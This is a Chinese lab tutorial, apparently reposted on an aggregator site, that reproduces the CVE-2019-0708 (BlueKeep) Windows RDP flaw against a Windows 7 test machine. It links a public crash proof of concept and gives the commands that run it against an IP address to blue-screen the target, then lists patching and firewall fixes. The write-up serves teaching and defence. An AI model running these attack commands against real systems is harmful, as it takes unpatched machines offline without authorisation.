首页 / WINDOWS / CVE-2019-0708 Windows RDP远程代码执行 漏洞复现

CVE-2019-0708 Windows RDP远程代码执行 漏洞复现

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了CVE-2019-0708 Windows RDP远程代码执行 漏洞复现，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1282字，纯文字阅读大概需要2分钟。

内容图文

Windows RDP远程代码执行 CVE-2019-0708 漏洞复现

漏洞简介

Windows操作系统远程桌面服务远程代码执行漏洞（CVE-2019-0708） ， 2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机。

影响版本

Windows 7

Windows server 2008 R2

Windows server 2008

Windows 2003

Windows xp

Windows 8和windows10以及之后的版本不受此漏洞影响

漏洞环境

攻击机：Windows 10

靶机：Windows 7

两机处于同一网络

攻击机安装python 3

靶机开启远程连接服务，即开启3389端口，关闭防火墙或者在防火墙策略中放行3389端口

漏洞复现

靶机查看是否开启3389端口

netstat -an

CVE-2019-0708 Windows RDP远程代码执行 漏洞复现 - 文章图片

攻击机检测靶机是否存在该漏洞

检测工具下载： https://free.360totalsecurity.com/CVE-2019-0708/detector_release.zip

使用方法：

0708Detector_v2_x64.exe -t 192.168.30.153 -p 3389

CVE-2019-0708 Windows RDP远程代码执行 漏洞复现 - 文章图片

出现如上提示，则说明应该存在该漏洞

进行攻击

攻击POC下载： https://github.com/n1xbyte/CVE-2019-0708

使用 python 安装 impacket模块

py -3 -m pip install  impacket

然后使用攻击的python脚本

py -3 crashpoc.py 192.168.30.153 64

CVE-2019-0708 Windows RDP远程代码执行 漏洞复现 - 文章图片

靶机蓝屏，则攻击成功

CVE-2019-0708 Windows RDP远程代码执行 漏洞复现 - 文章图片

漏洞修复

下载补丁：https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2019-0708

关闭3389远程桌面端口

开启防火墙

更新系统

内容总结

以上是互联网集市为您收集整理的CVE-2019-0708 Windows RDP远程代码执行 漏洞复现全部内容，希望文章能够帮你解决CVE-2019-0708 Windows RDP远程代码执行 漏洞复现所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/930384.html

来源：【匿名】